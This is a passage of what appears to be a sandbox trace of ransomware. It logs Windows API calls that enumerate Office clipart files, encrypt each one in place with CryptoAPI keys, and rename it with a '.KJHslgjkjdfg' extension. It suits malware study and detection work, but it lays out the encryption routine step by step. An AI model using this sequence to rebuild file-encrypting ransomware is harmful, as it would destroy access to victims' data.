lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.741] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.742] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.742] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.742] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.742] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.742] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.742] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.742] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2708, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2708, lpOverlapped=0x0) returned 1 [0194.743] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2710, dwBufLen=0x2710 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2710) returned 1 [0194.743] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.743] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2710, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2710, lpOverlapped=0x0) returned 1 [0194.743] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.743] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x27e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.743] SetEndOfFile (hFile=0x130) returned 1 [0194.745] GetProcessHeap () returned 0x2ef0000 [0194.745] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.745] GetProcessHeap () returned 0x2ef0000 [0194.745] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.745] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf.kjhslgjkjdfg")) returned 1 [0194.745] CloseHandle (hObject=0x130) returned 1 [0194.745] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac04fe00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac04fe00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5130, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00687_.WMF", cAlternateFileName="")) returned 1 [0194.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.746] GetProcessHeap () returned 0x2ef0000 [0194.746] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.746] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.746] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.746] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.746] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.746] GetProcessHeap () returned 0x2ef0000 [0194.746] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.746] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.746] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.746] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.748] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.748] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.748] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.748] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.748] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.748] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.748] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.748] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.748] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5130, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5130, lpOverlapped=0x0) returned 1 [0194.749] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5130, dwBufLen=0x5130 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5130) returned 1 [0194.750] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.750] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5130, lpOverlapped=0x0) returned 1 [0194.750] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.750] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.750] SetEndOfFile (hFile=0x130) returned 1 [0194.752] GetProcessHeap () returned 0x2ef0000 [0194.752] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.752] GetProcessHeap () returned 0x2ef0000 [0194.752] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.752] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf.kjhslgjkjdfg")) returned 1 [0194.753] CloseHandle (hObject=0x130) returned 1 [0194.753] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcb1e00, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcb1e00, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x600c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00705_.WMF", cAlternateFileName="")) returned 1 [0194.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.753] GetProcessHeap () returned 0x2ef0000 [0194.753] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.753] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.753] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.753] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.754] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.754] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.754] GetProcessHeap () returned 0x2ef0000 [0194.754] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.754] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.755] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.755] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.755] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.755] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.755] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.755] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.755] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.755] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.755] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.755] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.755] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x600c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x600c, lpOverlapped=0x0) returned 1 [0194.756] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6010, dwBufLen=0x6010 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6010) returned 1 [0194.756] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.756] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6010, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6010, lpOverlapped=0x0) returned 1 [0194.756] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.756] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x60e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.756] SetEndOfFile (hFile=0x130) returned 1 [0194.758] GetProcessHeap () returned 0x2ef0000 [0194.758] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.758] GetProcessHeap () returned 0x2ef0000 [0194.758] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.758] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf.kjhslgjkjdfg")) returned 1 [0194.759] CloseHandle (hObject=0x130) returned 1 [0194.759] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb92d600, ftCreationTime.dwHighDateTime=0x1bd4b42, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb92d600, ftLastWriteTime.dwHighDateTime=0x1bd4b42, nFileSizeHigh=0x0, nFileSizeLow=0x8b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01015_.WMF", cAlternateFileName="")) returned 1 [0194.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.759] GetProcessHeap () returned 0x2ef0000 [0194.759] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.759] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.759] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.760] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0194.764] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.764] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.764] GetProcessHeap () returned 0x2ef0000 [0194.764] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.764] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.764] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.764] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.765] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.765] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.765] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.765] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.765] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.765] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.765] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.765] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.765] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8b2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8b2, lpOverlapped=0x0) returned 1 [0194.765] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8c0) returned 1 [0194.765] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.765] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8c0, lpOverlapped=0x0) returned 1 [0194.765] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.765] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.765] SetEndOfFile (hFile=0x130) returned 1 [0194.767] GetProcessHeap () returned 0x2ef0000 [0194.767] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0194.767] GetProcessHeap () returned 0x2ef0000 [0194.767] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0194.767] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf.kjhslgjkjdfg")) returned 1 [0194.768] CloseHandle (hObject=0x130) returned 1 [0194.768] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x39e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01039_.WMF", cAlternateFileName="")) returned 1 [0194.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0194.769] GetProcessHeap () returned 0x2ef0000 [0194.769] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0194.769] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0194.769] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0194.769] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0194.771] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0194.771] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0194.771] GetProcessHeap () returned 0x2ef0000 [0194.771] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0194.771] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0194.771] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0194.771] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0194.771] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0194.772] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0194.772] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0194.772] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0194.772] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0194.772] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 